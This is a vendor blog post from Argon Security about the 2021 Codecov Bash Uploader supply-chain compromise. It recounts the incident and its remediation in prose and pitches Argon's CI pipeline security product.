Pipeline Composition Analysis: How your CI Pipeline presents new Opportunities for Attackers

Eylam Milner
Apr 21 · 7 min read
prevent codecov hack

The Case of the Codecov Hack

 

codevac hack

So what happened in the Codecov hack?

First, an important note — at the time of writing this, the exact details of what and how are still not fully known, so I’ll outline the events as they took place according to Codecov themselves.

For people in a hurry

“Our investigation has determined that beginning January 31, 2021, there were periodic, unauthorized alterations of our Bash Uploader script by a third party, which enabled them to potentially export information stored in our users’ continuous integration (CI) environments.”

Changes were pushed to the bash-uploader file (elegantly named codecov). And that green checkmark sign next to some of them — indicating a successful build.

.circleci/config.yml – uploading the new version of the `codecov` util

Well, there we have it. The attacker’s changes to the uploader util must have been overridden by any successful version release of the codecov-bash project. Unless 🤔… This bad line must have been added again, and again, every time after a new version of the codecov util was uploaded, it was again altered with the malicious change sending out sensitive information. Hence, the periodic.

Consequences

Results of this incident are still unfolding. For now, we know that projects who used this codecov-bash dependency in their pipeline, one way or another, between January 31, 2021 and April 1st, 2021 are potentially at risk. A very rough (and in no way official!) estimation shows close to 15,000 files using the bash-uploader script in hundreds of different open-source projects today.

Remediation

“… immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.”

How Argon Security Solution can help?

The way Argon can detect and prevent supply chain attacks like the one that happened at Codecov is multi-layered – 

  1. Visibility – Argon is a CI native solution, which means it is integrated into the CI pipeline. It understands the set of instructions composing it and is able to map out all external dependencies. In real-time you get an overview of all CI pipelines in the organization, including every step that is external or that accesses resources from outside of your environment. 
  2. Security – On the exiting pipelines, Argon applies a set of security policies (and DevOps best practices); these include pipeline analysis abilities, that immediately alerts on dangerous instructions (like the one the Codecove hacker added, which simply prints all environment variables and sends them to a remote URL). Those sets of policies also apply to external dependencies in the pipeline.
  3. Integrity – The final safety mechanism is based on validating the integrity of external dependencies in the pipeline (like the Codecov step, that was compromised). Argon would automatically perform a checksum validation on every release, verifying the authenticity of the used resource, and on a hash mismatch – would alert in real-time or even actively prevent the potentially compromised release.

As this event unfolds, I’ll be sure to share more. In the meantime — Good Luck! And have a safe delivery 📦.

Eylam Milner, Chief Technology Officer at Argon

Eylam Milner
Apr 21 · 7 min read

Related Articles

The importance of having visibility over your pipeline’s plugins...

Hardly a week goes by these days without hearing about a new supply chain attack. A recent headline featured yet…

Eran Orzel
Jun 21 · 4 min read

The Future of DevSecOps: Webinar Recap

The relevance of DevSecOps has grown in the past years as companies solidify their move towards automating their software delivery…

Nurit Bielorai
Jun 14 · 4 min read

Jenkins 101: Common Misconfigurations & How to best Secure it?

What is Jenkins and it’s Logo about? Jenkins is the most widely-used CI/CD tool today. As the world moves from…

Eylam Milner
Jun 07 · 4 min read

End-to-End CI/CD Security Platform

open source vulnerability scanner